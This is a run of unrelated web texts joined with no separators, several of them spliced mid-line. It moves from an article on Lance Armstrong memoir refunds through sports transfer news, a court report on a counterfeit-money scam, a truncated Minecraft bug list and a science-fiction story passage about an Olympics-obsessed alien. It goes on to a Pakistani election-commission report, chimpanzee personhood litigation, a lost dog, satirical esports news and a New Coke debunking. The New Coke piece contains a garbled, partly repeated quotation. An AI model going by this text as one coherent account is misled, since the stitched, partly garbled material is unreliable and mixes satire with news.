He agrees that publishers should try to ensure the integrity of non-fiction books, but insists that an autobiography will never be an impartial account of events.
Similarly, he argues, readers have an obligation to use their own critical faculties. Claims about Armstrong's doping had circulated for years, Byng says. The public, he insists, were free to make up their own minds.
"It's laughable that someone is seriously thinking about doing this," he adds.
"The idea that just because someone calls something a memoir it's definitely the truth is so naive. Every narrator is unreliable.
"Armstrong is a total piece of work and I'm not trying to defend him, but this wasn't the first time this happened and it won't be the last."
If that's the case, more such lawsuits can be expected - with disgruntled readers seeing the relatively low cost of the books as the only tangible thing they can get back from fallen idols in whom they invested so much.
For those demanding a refund, it's not about the bike. But in a culture which places such faith in celebrities, it's not just about the money either.
You can follow the Magazine on Twitter and on FacebookMario Balotelli: '99.9 per cent' certain to stay at AC Milan
AC Milan chief executive Adriano Galliani insists it is '99.9 per cent' certain that Mario Balotelli will stay at the club this summer.
Balotelli's future at the San Siro has been the subject on constant speculation this summer, with Arsenal rumoured to be interested in the former Manchester City forward.
However, Galliani has moved to try and dampen the ongoing speculation regarding Balotelli's situation, claiming the Italy international has not asked to leave Milan and that he expects him to remain with the Rossoneri.
"Mario is training like the other players," said Galliani. "He never asked to be sold.
"He will stay at Milan. 100 per cent doesn't exist on the transfer market, but 99.9 per cent does."
Galliani also admitted that Milan are interested in Arsenal forward Joel Campbell, who has been mentioned as a possible swap in a deal for Balotelli, and Torino winger Alessio Cerci.
"Alessio Cerci and Campbell? They have the characteristics our coach likes, but so do many other players," added Galliani.
Galliani concluded that Milan expect to sort out the future of Robinho next week, with several Brazilian clubs and MLS side Orlando City keen on signing the former Real Madrid and Manchester City playmaker.
"There are some offers and more will arrive on Monday," continued Galliani. "We are convinced that we can find a solution."BARRIE
A Scarborough woman charged in a counterfeit money scam who gained the judge’s sympathy by telling him she’s a breastfeeding mom lied, a court heard Wednesday.
Beth-Ann Gosling, 29, was arrested last March in Barrie with her spouse, Patrick Bentley, 29, of Brampton, after they had been on a spending spree.
Police followed the couple in their van with their four children and seized a large stack of real and counterfeit bills. Court heard Bentley would wait in the van with the kids while his wife purchased small items with the fake money, collect a fistful of bills as change, then quickly head to the getaway van. They pulled the same stunt in Wal-Mart, Zhers, Petro Can, Shoppers Drug Mart and Canadian Tire in towns including Barrie, Bolton, Bradford, Newmarket, Markham, Beeton and Brampton.
Gosling was already facing charges after she was caught shoplifting a $1,200 flat screen TV and other items in her cart with her kids in Wal-Mart a week earlier.
She was denied bail but Justice James Crawford released her so she could breastfeed her baby.
“This is a very complex situation,” Crawford said at the time. “This woman has been convicted of a very serious offence, but she is a breastfeeding mom and there is no doubt the child needs her.”
But during her sentencing hearing, the judge learned from medical reports it was all a lie. Gosling then explained to her probation officer that she couldn’t breastfeed because she has breast cancer — but that was a lie too.
“She lied to the court about breastfeeding to avoid going to jail,” Crown attorney Sarah Renaud told court.
Gosling’s lawyer, Chuck Syme, insisted the woman, who is expecting a fifth child, was unable to provide for her kids because she survives on Ontario Works and Bentley doesn’t work, but the Crown scoffed at the excuse.
“She attempted to steal a $1,200 TV — that’s not a crime of desperation,” the Crown said. “She ripped off a number of businesses over a number of months, repeatedly and successfully.”
While Gosling was charged with 26 counts, the Crown accepted her plea to one “global” count of uttering counterfeit money. While the offence carries a maximum sentence of 14 years in prison, the Crown is only asking for 90 days in jail.
Meanwhile, all 26 counts against her spouse were dropped so that he wouldn’t be deported to Jamaica, court heard.
“They dropped the counterfeit charges so he wouldn’t be deported,” Syme said in court.
The Crown admitted the charges were withdrawn.
“Counterfeiting is a straight indictable offence,” explained Renaud. “So there were deportation issues.”
Outside of court, Syme appeared to be upset.
“This case has gone sideways,” he said. “You can’t let the guy walk because he’s Jamaican and send my client, a mother of five, to jail.”
The judge said he needed more time and will sentence Gosling Aug. 27.It’s time for a charming bug fix snapshot!
And this snapshot includes…
Notable changes:
Fixed bugs introduced in the previous snapshot
Added bugs to fix in next snapshot
Bugs fixed in 16w40a:
[Bug MC-3352] - Arrows fired into a repeater / comparator / jukebox / command block / hopper / daylight sensor that is updating will play the arrow hitting a block noise
[Bug MC-4132] - Piston placement issue past 16777217
[Bug MC-67665] - Mouse click position always lags a few frames behind the crosshair
[Bug MC-89030] - Pistons warp entities too much (Pistons pull entities in/through blocks)
[Bug MC-98093] - Distorted Pistons
[Bug MC-106706] - Renamed brewing stand does not drop after being placed
[Bug MC-106765] - Silverfish not moving when mobGriefing is false
[Bug MC-106826] - Can interact(eat) with cake in creative mode/hunger bar is full
[Bug MC-106905] - Rabbits jump extra high on farmland and fence related blocks.
[Bug MC-107168] - Weather changes to clear after sleeping with doWeatherCycle set to false
[Bug MC-107378] - Unable to shift-click items into non-full brewing stand ingredient slot
[Bug MC-107403] - No subtitles for Shulker Box / Llama
[Bug MC-107674] - Evocators & Vindicator do not display custom head item or held items
[Bug MC-107891] - Vindicator axes are not damaged
[Bug MC-107929] - Typo: “Light Grey Shulker Box”
[Bug MC-107937] - Renamed shulker boxes got unnamed when placed by a dispenser
[Bug MC-107941] - Shooting an arrow and reloading the world gives potion particles.
[Bug MC-107946] - Entities fall through Shulker Boxes when opened
[Bug MC-107954] - Camera shakes when open shulker box you standing on
[Bug MC-107998] - Animals not running away when on fire
[Bug MC-108021] - Some mobs float above horses when riding them
[Bug MC-108029] - Strange Texture Behavior of End Portal Block
[Bug MC-108055] - Leash Knot can’t be broken sometimes
[Bug MC-108079] - Crash when trading or picking up filled map with invalid data value from furnace
[Bug MC-108084] - When in Creative’s “Survival Inventory |
under the circumstances. Andrea was the first to recover. “You... speak English.”
“Of course! We learned from your broadcasts, one every two orbits of your Sun.”
The linguists looked at each other, puzzled. Andrea forged on. “Where do you come from?”
“It's a small town where everyone knows everyone. After my parent died when I was but a spawn, the kind people of my town supported me in pursuing my goals of someday getting here. And here I am! It's like a dream come true.”
Andrea hoped that the alien had not learned to read human facial expressions along with the English language, because she could feel that she looked like she had bitten into a lemon. “Let's focus on the astrophysics for a minute: how did you get here?”
“Well, Katie, I followed my dreams and worked tirelessly day and night. I think I wanted it more than anyone else.”
“My name's not Katie. And I was hoping for more about the mechanics.”
“It was a big dream. I had a lot of support in making it happen. Also, my apologies; I thought 'Katie' was a generic form of address for all Earth females when asking questions.”
“It isn't.”
“Oh. Are all Earth males known as Bob in that circumstance?”
“No!”
“Oh.”
Andrea waited for a long moment and then finally burst out, “What broadcasts did you learn from, exactly?”
“The games of the twenty-eighth through fortieth Olympiads, inclusive!” The alien paused to turn its head in a semicircle, baring its teeth in a way that Andrea would have found alarming... if she hadn't seen it done a million times by gymnasts and figure skaters. She wondered with what felt like a flash of madness what aliens used for Vaseline on their teeth.
“Okay,” said Andrea softly, “okay, wow.”
“We would like to see all of your major Earth sites, for example the velodrome and the stunning aquatic centre,” said the alien. “A smaller number of us are also excited to see the luge track and the ski jump. Eddie the Eagle! Jamaican bobsled team!”
“That... I think that was before the twenty-eighth Olympiad,” said Andrea. She had prepared herself with basic maths to try to communicate. She had learnt vocabulary for different kinds of stars, planets, fuel. She was the most technically literate linguist on the planet, at the head of a team of people only half a beat behind her.
She had no idea when Jamaica had first fielded a bobsledding team. She had never thought it would be important.
“We know that these are your legends,” said the alien patiently, “because you cannot let a broadcast on these subjects go by without mentioning them. Nadia Comăneci and Béla Károlyi! Miracle on Ice!”
“Right back atcha,” said Andrea weakly. “Look, it would really mean a lot to my, uh, my coach if you could tell me some things about where you come from, who you are.”
“We will have plenty of time for these things,” said the alien. “But you must first tell me: can we get tickets to the beach volleyball? I hear that is the must-see event. Very difficult.”
“For you? We can try to work something out. Especially if you can tell us how your interstellar drive works.” The alien hesitated. Andrea gritted her teeth and played her trump card. “Bringing interstellar drive to humans is a dream I've had since I was a little girl,” she lied. “I've trained so hard for this moment. If you can be part of the team, stand with me on the top step of the podium —”
“Of course! We will be champions together!” The alien flashed its shiny teeth in a semicircle again and raised its arms in a victory V. Andrea, still trying to think through the implications, thought that her role might be to clap wildly. She tried it.
The alien hugged her. Andrea found herself enveloped in four arms, choking down an even stronger cloud of esters, pressed against the shiny material that, now that she had the context, looked remarkably like tracksuit fabric. The alien released her and went on to hug each member of the team in turn. They all smiled through the stench as though their teeth were smeared with Vaseline.
Author information Affiliations Marissa Lingen has published more than 100 short stories in venues such as Analog, Lightspeed and Tor.com. Marissa Lingen Authors Search for Marissa Lingen in: Nature Research journals •
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About this article Publication history Published 13 September 2017 DOI https://doi.org/10.1038/549302a
Follow Futures on Twitter at twitter.com/naturefutures and on Facebook at go.nature.com/mtoodmWith uncertainty in the backcourt, the Chicago Bulls are showing significant interest in Mo Williams and Will Bynum and have started exploratory discussions with the representatives of the free agent guards, league sources told RealGM.
Williams averaged 12.9 points in 46 games a season ago with the Utah Jazz, and he has a stated desire to receive heavy, contributing minutes. The Jazz acquired Trey Burke at No. 9 in the NBA draft and could start him early in his NBA career. At 30, Williams has established himself as a combo guard, and Tom Thibodeau would undoubtedly place the 10-year veteran in shooting and playmaking situations.
Bynum has been a pace-changing guard, averaging nearly 10 points on 46.9 percent shooting in 2012-13. He has played five of his six seasons with the Detroit Pistons. Given Chicago’s salary structure, Williams and Bynum both could be inclined to make less money in a potential deal with the Bulls.
The Bulls appear unlikely to retain Nate Robinson or Marco Belinelli, and they are expected to waive Rip Hamilton before his entire contract becomes guaranteed. Still, they’ll have Derrick Rose back next season, leading to reserve minutes for Kirk Hinrich.ISLAMABAD: The judicial commission constituted to probe the Pakistan Tehreek-i-Insaf's (PTI) allegations of rigging in the 2013 general election has concluded in its report that polls were in large part "organised and conducted fairly and in accordance with the law".
The report published on the Ministry of Law website details the findings of the three-member commission headed by Chief Justice of Pakistan Nasirul Mulk.
In a nutshell, the commission has reached the following conclusion based on evidence:
2013 elections were conducted fairly and in accordance with the law
PTI's request for a probe was not "entirely unjustified"
Plan to manipulate election has not been disclosed with any degree of specification by any of the parties
"Based on the evidence presented before the commission it cannot be said that on an overall basis the elections were not a true and fair reflection of the mandate given by the electorate, despite some lapses by the Election Commission of Pakistan," it reads.
Also read: Prime minister to address nation today
It does, however, maintain that the PTI's request to probe alleged rigging in the May 2013 elections was not "entirely unjustified".
It reads: "The commission is of the view that the PTI was not entirely unjustified in requesting the establishment of body to inquire into its suspicions and allegations regarding the 2013 general elections.
However after recording the evidence and carefully going through all material placed on record the commission finds as under in respect of each term of reference (ToR):
TOR 3(a):
Taking into account all the evidence on record, notwithstanding the shortcomings of the ECP as mentioned earlier in this report, the 2013 general elections were in large part organised and conducted fairly and in accordance with the law.
TOR 3(B):
The plan or design to manipulate or influence the election has not been disclosed with any degree of specification by any of the parties to the proceedings nor is it discernible from material placed before the commission. Allegations against those allegedly involved in the plan/design also remained unsubstantiated by the evidence on record.
TOR #(C): When the entire context of the elections are considered along with all the meaning of overall basis, despite some lapses by the ECP it cannot be said on the evidence before the commission on the overall basis the elections were not a true and fair reflection of the mandate given by the electorate."
The three-judge commission, headed by Chief Justice Nasir-ul-Mulk, had held 39 sittings and completed the hearing on July 3.
The commission — constituted under a presidential ordinance on April 3 after months of a tug of war between the PTI and the PML-N — had commenced proceedings on April 9. It recorded testimonies of 69 witnesses, including politicians, government and judicial officers and journalists.
The ordinance expected the commission to submit its findings to the government as soon as possible, preferably within 45 days of its first meeting.
Justice Amir Hani Muslim and Justice Ejaz Afzal Khan were the two other judges in the commission, which was constituted as a result of a memorandum of understanding signed between the PML-N and the PTI.
The PTI had staged a 126-day sit-in in Islamabad last year to press for its demand for a judicial inquiry into the rigging allegations.
Examine: Rigging: Willing to accept any decision made by SC, Imran says
According to the terms of reference (ToR), the commission was to investigate whether the elections were manipulated or influenced in a systematic manner or by design by anyone, or not. It was also to decide whether the poll results, on an overall basis, were a true and fair reflection of the mandate given by the electorate or not.
PTI Chairman Imran Khan while addressing a press conference accepted the findings of the judicial commission report but expressed reservations over not being given a copy.
Take a look: Imran Khan accepts findings of judicial commission report
Imran said he would comment on the report tomorrow after reading it.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
March 11, 2017, 6:15 PM GMT / Updated March 14, 2017, 9:06 PM GMT By Kalhan Rosenblatt
When Steve Wise first started out as an animal rights lawyer, people used to bark at him when he entered a courtroom.
For more than 25 years, Wise has been arguing that animals who have cognitive complexities similar to humans should be legally endowed with basic rights of autonomy.
Now when he enters a courtroom, no one is barking.
On Thursday, Wise — who founded the Nonhuman Rights Project on behalf of the great apes, cetaceans and elephants — will go before the appellate division of the Supreme Court of the State of New York in Manhattan and argue that two of his clients, chimpanzees Kiko and Tommy, should be afforded the rights of "personhood."
"'Personhood' is not synonymous with 'humans.' It is not now and never has been," Wise told NBC News. "A 'person' is the law's way of saying that entity has the capacity for rights. A 'thing,' which chimpanzees are now, don’t have capacity for any kind of rights."
Wise is hoping to prove in the eyes of the court that chimpanzees and other great apes aren't "things" but rather are autonomous beings that possess consciousness and deserve to live their lives to the fullest possible extent of that autonomy.
Tommy and Kiko
Wise has been fighting on behalf of Tommy and Kiko since 2013.
Since then, Wise has been running to and from court with habeas corpus cases for both chimpanzees, and while judges often sympathize with their cause, they've ultimately reject their pleas.
Despite representing the primates for the better part of four years, checking on their condition is a frustrating subject for the staff at Nonhuman Rights Project.
Tommy, a chimpanzee in his late 30s, was kept in a cage behind the Circle L Trailer Sales in Gloversville, New York. Pennebaker Hegedus Films
“We see them as clients of ours, but we can’t get a jail house visit or help them exercise a Sixth Amendment right,” said Kevin Schneider, executive director of Nonhuman Right Project. “They’re things, so we can’t barge in and see what’s going on.”
Tommy, believed to be in his late 30s, is owned by Patrick Lavery. The chimpanzee lives in a cage of cement and green-painted steel behind Circle L Trailer Sales in Gloversville, New York, according to the Albany Times Union.
In 2013, Lavery told the Times Union that Tommy, although he was living without companionship, had enrichment in the form of television, cable and radio.
“To treat them as things destroys them,” Wise said. “The same way we would be destroyed in solitary confinement.”
In the 2016 HBO documentary "Unlocking the Cage," which documents Wise's fight to file habeas corpus petitions on behalf of chimpanzees in New York, Lavery is seen telling Wise he wants Tommy to be sent to a Florida farm because the ape is "lonely." Wise later argues that the Florida farm is not a suitable environment for Tommy.
Kiko, believed to be in his early 30s, is a former animal actor, who was beaten so badly by his trainers, he’s partially deaf, according to Nonhuman Rights Project.
The chimpanzee now lives in the Primate Sanctuary in Niagara Falls, New York, which is operated by Carmen and Christie Presti. Nonhuman Rights Project alleges the sanctuary is run out of the Presti’s home, and the animals aren’t in a natural environment.
Carmen Presti poses with Kiko, his chimpanzee, at the Primate Sanctuary in Niagara Falls, New York. Courtesy of Carmen Presti
"I can't believe Mr Wise is still trying to win this case! It has been thrown out of court 3 or 4 times," Carmen Presti told NBC News in an email. He said Wise's efforts would be better served fighting for chimpanzees in the wild or captivity, rather than arguing they deserve "personhood."
Presti said the Primate Sanctuary sent its USDA license, inspection records and Department of Environmental Conservation permit to court every time Wise has brought forward a case and each time the judge has ruled in the sanctuary's favor.
He added that if Wise "wins this case for chimps (WHICH HE WONT) next is the African Gray Parrots."
Lavery did not immediately respond to a request for comment made by NBC News.
A case about rights, not welfare
Although Wise and Schneider said the chimpanzees aren’t being kept in ideal conditions, they’re not alleging their owners have done anything wrong.
In fact, they said everything the Prestis and Lavery have done is entirely legal.
“We specifically say we are not alleging [the Prestis or Lavery] have violated any local, state or federal law,” Wise said. “What we’re saying is those laws are grossly insufficient and [the chimpanzees] should have right to bodily liberty. We’re not trying to protect their welfare, we’re trying to protect rights.”
Wise said the only reason chimpanzees and other great apes are able to be kept in cages is because they are legally deemed “things.” The last time Wise was in court in 2015 — arguing on behalf of chimpanzees Hercules and Leo, who were kept at Stony Brook University on Long Island for research — the state argued the animal’s classification should remain just that.
“The reality is these are fundamentally different species. I worry about the diminishment of these rights in some way if we expand them beyond human beings,” Christopher Coulston, an assistant New York state attorney general said.
Coulston told New York State Supreme Court Justice Barbara Jaffe, that even though “personhood” is sometimes attributed to corporations and ships, those entities are “in some way related to human interests.”
“Whether it’s a corporation, whether it’s a ship that is treated as a legal person, we think that is the principle that has governed the assignment of legal personhood,” Coulston argued.
But Wise said society has come a long way since the apes were first deemed “things” and more than half a decade of studying great apes has revealed a wealth of knowledge about their intelligence and awareness.
“The reason we chose [great apes, elephants and cetaceans] is there’s an extraordinary amount of scientific observation— more than half a century — that’s been done,” Wise said. “Articles reveal they are extremely cognitively complex, similarly to the way we're complex. “
Scientists on their side
Although Wise is facing an uphill battle in the courtroom on Thursday, he has some of the foremost experts behind him as he heads to Manhattan.
This includes Jane Goodall, considered the premier expert on chimpanzees after more than five decades studying them in Gombe Stream National Park in Tanzania.
Steve Wise argues a case that chimpanzees deserve non-human rights in a New York Court. Unlocking The Cage / HBO
Goodall, who sits on the board of Nonhuman Rights Project, filed a 27-page affidavit on behalf of the chimpanzees along with several other experts. Wise said the case currently has 160 pages of expert affidavits filed on behalf of the chimpanzees.
Related: No, Chimpanzees Aren’t ‘Legal Persons,’ New York Judge Rules
Jaffe ruled against Wise’s case for Hercules and Leo, saying that, while she sympathized with their cause, she was bound by a decision made by a different New York judge. An appellate division of the New York State Supreme Court known as the Third Department had concluded that the chimpanzees did not meet the requirement for "personhood" because the apes did not carry out duties and responsibilities in society.
Wise then enlisted Goodall to write an affidavit that would challenge that decision.
She said that in her 50 years of observation, chimpanzees demonstrated “well-defined” duties and responsibilities, listing how communities care for each other and are responsible to one another through a host of examples.
But Wise is also arguing that while chimpanzees do exhibit responsibilities, they also don’t need to have responsibilities to deserve rights.
“What we’re doing is arguing that the Third Department was wrong in at least six different ways and that you don’t need to have duties in society in order to be a person and have legal rights,” he said.
Small steps forward
The last time Wise went before a judge to argue the case of Kiko and Tommy, no chimpanzee in the world had ever been granted nonhuman rights.
But that won’t be the case on Thursday.
In November 2016, Judge María Alejandra Maurico of Argentina ruled that a chimpanzee named Cecilia was a “nonhuman legal person” and agreed that the ape had “inherent rights.”
Two years earlier, the same judge deemed an orangutan named Sandra also deserved "personhood."
Both apes were transferred to a sanctuary in Brazil to live as autonomously as possible with other animals in their species for the rest of their lives.
Wise and Schneider said they will be using Cecilia’s case as a tool to argue theirs and are hoping for a similar outcome.
“Assuming the court agrees [with us], we suggest [Kiko and Tommy] should be sent to Save the Chimps in Fort Pierce, Florida,” Wise said.
He said it’s at this 150-acre sanctuary the chimpanzees will be able to live out their lives to the maximum amount of autonomy possible for animals raised in captivity.
“We think [the court] is going to say, ‘You don’t need to have duties and responsibilities to not be enslaved,’ and remand that case to Justice Jaffe and say ‘Don’t look at Third Department’s decision; hold a hearing and decide the case,'” Wise said. “That’s what we think is more likely than other two extremes, but the court surprises us all the time. We’ve been wrong every time.”If dogs could talk, this one would have quite a story.
Three years after disappearing from his Albuquerque home, a dog named Yoshi was found more than a hundred miles away at an animal shelter in Las Vegas, N.M., KOAT.com reports.
How Yoshi, a red heeler and husky mix, ended up so far away from home is still a mystery and will likely remain one.
Monique Martinez adopted the pooch when Yoshi was just a puppy. She told KOAT.com that a short time later, Yoshi broke out of her yard while she was at school.
Martinez looked all around the neighborhood but couldn't find her missing dog. About a week after Yoshi disappeared, Martinez heard he may have been hit by a car, according to KOAT.com.
So how was Yoshi found? Fortunately the dog had been given a microchip implant. The microchip contained information about his owner and address. When Yoshi showed up at the shelter, workers checked the microchip and contacted Martinez. The dog was reportedly a bit underweight but in otherwise fine condition.
We hope you had a good time exploring America's Southwest, Yoshi, because something tells us you're gonna have a tough time escaping a second time.
Follow Mike Krumboltz on Twitter (@mikekrumboltz).Analysts have determined that Team Secret’s lackluster TI5 performance was due to the squad saving all their strategies for the post-International player shuffle, where western teams will be forced to deal with Secret’s goal of winning five straight reshuffle periods.
“We don’t plan on practicing shuffling players, as it won’t help us, only our shuffle partners,” said the Team Secret captain, who could be Puppey or S4 or whoever is going to end up staying on the team.
After news of Cloud9 disbanding, sources say Jacky “EternaLEnVy” Mao is already hard at work forming his next team, NoStormSpirit.
“I’m thinking S4 mid, Loda as safelane carry, Bulldog as offlane, and me and Akke as supports,” said Mao as his teammates stood behind him and gave knowing looks to each other. “I am very excited about this new team. We will pierce the heavens with our drill of victory!”
He added, “EGM has even agreed to be our first sub for the fall major!”
After CDEC’s strong showing at TI5, its parent organization LGD had planned to follow a similar model by forming a team around top players from North America’s in-house league equivalent. Unfortunately, despite hiring several English-to-Chinese translators, they were unable to communicate with ixmike.
“他为什么要跟我妈说话?” said former LGD and current CDEC manager Pan “Ruru” Jie.
Korean teams MVP.Phoenix and MVP.Hot6 have announced plans to split into four teams each, and have petitioned Valve to add six qualifier slots to the SEA region.
“We believe MVP Wyvern should be invited to TI6 over Rave,” said MVP management, who recently sold their teams MVP.Hot7 and 2Hot2MVP to SK Telecom. “We have also added an NA team, MVP America: Summer’s Drift.”
“Rave should be at TI for sure,” added Joel Thomas “deadmau5” Zimmerman.Claim: Coca-Cola halted production of its flagship beverage in 1985 and introduced New Coke in its place as a marketing ploy to combat declining market share and rekindle interest in the original drink.
FALSE
Origins: As much as we’d like to believe that The Coca-Cola Company is infallible, it proved in 1985 that it isn’t.
It’s inconceivable to us mere mortals that a company of the size and scope of Coca-Cola could make a mistake on the scale of
the one it made in 1985. Although company officials have been honest (albeit a bit redfaced) about the blunder all along, the legend has arisen that New Coke was nothing more that a throwaway product created as part of a greater plan. People refused to believe any decision that colossally disastrous (and ultimately that colossally fortuitous) could have been the mere result of a very human miscalculation.
And yet it was. It was also a very logical — indeed, reasonable — mistake to make.
The early 1980s found Coke teetering on the edge of losing the cola war to Pepsi. The previous fifteen years saw Coca-Cola ‘s market share remain flat while Pepsi’s continued to climb. Pepsi was winning in the supermarkets (where shoppers had free rein to choose either beverage), and it was only Coke’s greater availability in restricted markets (such as soda vending machines and fast food outlets) that was keeping its numbers ahead of Pepsi’s. (Coke’s market share had been shrinking for decades, from 60% just after World War II to under 24% in 1983.)
Coke’s market share problems were exacerbated by the relative success of other types of sodas, including some manfactured by Coca-Cola and Pepsi themselves. The more consumers drinking diet, citrus, or caffeine-free beverages, the fewer sugar cola drinkers there were to sell to. The pie was getting smaller. This market segmentation should have been affecting Coke and Pepsi equally, yet only Coke had to fight to hang onto its share. Despite the competition, Pepsi was gaining new customers. No doubt about it, people liked the taste of what the boys in blue were selling.
Adding to Coca-Cola ‘s segmentation problems was the runaway success of their own child, Diet Coke. Rather than replacing the sugars in the Coca-Cola formula with artificial sweeteners and then attempting to bring the taste of the new beverage back to more closely resemble the original, the company formulated Diet Coke the other way around. An entirely new flavor was created — one that was smoother and had less bite to it but was still a cola. People loved it.
Introduced in 1982, Diet Coke shot up the charts to become the uncontested #4 soft drink in America (with only Coke, Pepsi, and 7-Up ahead of it) by the end of 1983, and by 1984 it was comfortably nestled in the #3 spot. It was also helping to speed the ascendency of Pepsi over Coca-Cola, because the more Diet Coke drinkers there were, the smaller the pool of available sugar cola drinkers
became.
Unless something was done to stem the tide, it was only a matter of time before Pepsi pulled ahead of Coca-Cola. Coca-Cola management couldn’t allow this to happen because Pepsi could then honestly claim more people drank Pepsi than Coke, not just that people preferred the taste of Pepsi to Coke (which they were already proclaiming in their “Pepsi Challenge” commercials). It was panic button time in Atlanta; time to figure out how to beat Pepsi.
When all other factors were eliminated, it came down to a matter of flavor. Batteries of well-controlled taste tests showed folks liked the taste of Pepsi better. Seemingly confirming that original Coca-Cola had a taste problem was the popularity of Diet Coke, a beverage formulated in such a way that it ended up with a flavor a lot closer to that of Pepsi than to its parent beverage.
Enter New Coke. When traditional methods of developing a new taste failed, Coca-Cola pulled a reverse on the old method of creating diet soft drinks. Diet Coke was stripped of its artificial sweeteners, and high fructose corn syrup was added in their place. After a year of fiddling with the flavor balances, New Coke was finally as good as the company could make it. It tasted smoother and sweeter than original Coke, more like Pepsi. Sounds like a good idea so far, eh? Well, it sounded like an even better one when the results came in from a battery of taste tests utilizing the new formula. People said they liked the new Coke better than Coca-Cola or Pepsi, and by a significant factor, too. Taste for taste, it was a winner.
The next hurdle was what to do with the original: continue to market it, or discontinue the product? The company was already seeing its sugar cola market shrink thanks to competing lines; it wasn’t going to make its market share problems any worse by splitting its entry in the sugar cola category. Although New Coke and Classic Coke drinkers combined might outnumber Pepsi imbibers, it was a lead pipe cinch Pepsi would claim to have a more popular drink than one or both of them. This was too big a marketing advantage to hand to Coca-Cola ‘s #1 competitor. Thus the decision was made to discontinue Coca-Cola when New Coke was introduced. Again, this looked great on paper — wage the war between Coca-Cola and Pepsi, not Coca-Cola and itself.
So what happened? When Coke went ahead with its plan, an immediate and very loud outcry was raised. Long before they’d tasted a sip of it, millions of Americans had decided they hated New Coke. Yes, in blind taste tests people had consistently said they liked the new formula better. However, a soft drink is so much more than merely its flavor; a soda is also its marketing. Coke had spent more than a hundred years convincing the North American population that its product was an integral part of their lives, their very identities. Taste be damned: to do away with Coca-Cola was to rip something vital from the American soul. Americans (never ones to peaceably go along with anything perceived as violating their identity) weren’t going to stand for it, and they weren’t shy about saying so.
Although the company had known all along a segment of Coke drinkers weren’t going to switch to the new product, they had no way to even roughly estimate how large this segment would be. The New Coke project had been kept secret for years; this secrecy wouldn’t have been possible if company personnel had been questioning test subjects on how they’d feel about the new cola if it were to replace the old one. That secrecy lay at the heart of the fiasco, for it prevented Coca-Cola from asking the key question during its product tests.
New Coke was introduced on 23 April 1985, and production of the original formulation ended that same week. The outrage of millions of Americans didn’t take long to sink in, and not all that much longer to be redressed. At an 11 July 1985 press conference, two Coca-Cola executives announced the return of the original formula. “We have heard you,” said Roberto Goizueta, then Chairman of Coca-Cola. Donald Keough (then the company’s President and Chief Operating Officer) said:
There is a twist to this story which will please every humanist and will probably keep Harvard professors puzzled for years. The simple fact is that all the time and money and skill poured into consumer research on the new Coca-Cola could not measure or reveal the deep and abiding emotional attachment to original Coca-Cola felt by so many people... There is a twist to this story which will please every humanist and will probably keep Harvard professors puzzled for years. The simple fact is that all the time and money and skill poured into consumer research on the newcould not measure or reveal the deep and abiding emotional attachment to originalfelt by so many The passion for original Coca-Cola — and that is the word for it, passion — was something that caught us by surprise... It is a wonderful American mystery, a lovely American enigma, and you cannot measure it any more than you can measure love, pride, or patriotism.
How important was this news of the beloved beverage’s return? Vital enough that Peter Jennings of ABC News interrupted General Hospital to break the story on national TV. Company insiders referred to the decision as “the second coming,” and that’s how consumers reacted to it. Anger melted into forgiveness, and then turned to celebration.
Having two sugar cola products on the market did indeed split the market share as Coca-Cola had feared: market surveys at the end of 1985 showed Pepsi ahead of New Coke and Classic Coke combined. Even so, a miracle was underway. Against all expectations, Classic Coke began outselling New Coke, and to everyone’s surprise it kept gaining in popularity until it had reclaimed the sugar cola crown from Pepsi in early 1986. New Coke sort of faded away (it quickly settled to a 3% market share in its first year and was redubbed “Coke II” in 1990) and now holds onto a 0.1% market share.
Those who’d liked New Coke (but wouldn’t, one would suppose, be caught dead drinking it due to all the bad feelings associated with the beverage) gravitated to Diet Coke, the product that tasted most like what they really wanted.
An interesting little claim sprang up in the wake of the introduction of Classic Coke, one having to do with its sweetener. People swore they detected a change in the flavor between Classic Coke and the original. This gave rise to the rumor that the product had been reformulated, dropping cane sugar in favor of high fructose corn syrup (HFCS). Depending upon whom you listened to, either the demand for the return of original Coca-Cola afforded the company the opportunity to switch from cane sugar to corn syrup or the whole fiasco of taking original Coca-Cola off the shelves and reintroducing it three months later as Classic Coke was all a brilliant scheme to mask the change in sweetener. According to whispered wisdom, the company had hoped to slip the modification past consumers by having it take place during the original beverage’s absence from the shelves. People would be so darned glad to have Classic Coke back that they wouldn’t notice it didn’t taste the same as original Coca-Cola. (Another twist to this rumor had it that New Coke had deliberately been formulated to taste awful in order to facilitate the switch — this supposedly gave Coca-Cola an excuse for pulling the original formula and then putting it back on the market after a brief absence, making it look all along as if they were simply responding to consumer demands.)
The change in sweetener wasn’t anything that diabolical. Corn syrup was cheaper than cane sugar; that’s what it came down to. In 1980, five years before the introduction of New Coke, Coca-Cola had begun to allow bottlers to replace half the cane sugar in Coca-Cola with HFCS. By six months prior to New Coke’s knocking the original Coca-Cola off the shelves, American Coca-Cola bottlers were allowed to use 100% HFCS. Whether they knew it or not, many consumers were already drinking Coke that was 100% sweetened by HFCS.
In the wake of the discontinuation of the original cola, the introduction of New Coke, and the return of the original a few months later as Classic Coke, persistent rumors sprang up that it had all been a gambit to rekindle Coca-Cola ‘s declining sugar cola market share. Various people have claimed to have known someone who saw the original Coca-Cola still being bottled and canned during the New Coke-only phase. Such claims are best considered in light of two things: freshness of product, and what was written on the can itself.
It’s inconceivable that Coca-Cola could have been continuing to bottle the original during its discontinuation phase, stockpiling it in anticipation of its reintroduction into the market. Soft drinks don’t stay fizzy and sharp-flavored forever. Utilizing product from such a stockpile to meet a sudden high demand for the original product would have required the company to risk its reputation on a supply that might have died in the can. Coca-Cola wouldn’t have willingly risked following one marketing disaster with a second, particularly at a time when confidence in the company itself had been severely shaken.
The can itself is another point against this theory. Prior to New Coke, Coca-Cola ‘s flagship product was bottled and canned under a label of “ Coca-Cola.” After its reintroduction, the soda’s labels read “Classic Coke.” Claims by those who heard the original was bottled under the Coca-Cola label during this period have to be dismissed, because any product so marked wouldn’t have been sellable after the second coming. Harder to dismiss would be claims that Classic Coke cans were being produced during this period. Oddly enough, this rumor is the one that doesn’t surface. Whenever anyone claims to know someone who saw the cans, it’s always the original “Coca-Cola” cans they claim to have seen.
These rumors are an attempt to make sense of the unthinkable, that a company of the size and reputation of Coca-Cola could have effected such a blunder. It’s more comforting to cast it all off as a brilliant conspiracy than to live with the notion that a large company might not be infallible. We defend our icons, and Coca-Cola is as American an icon as there’s ever been. Far better to admire its verve than to recognize its feet of clay.
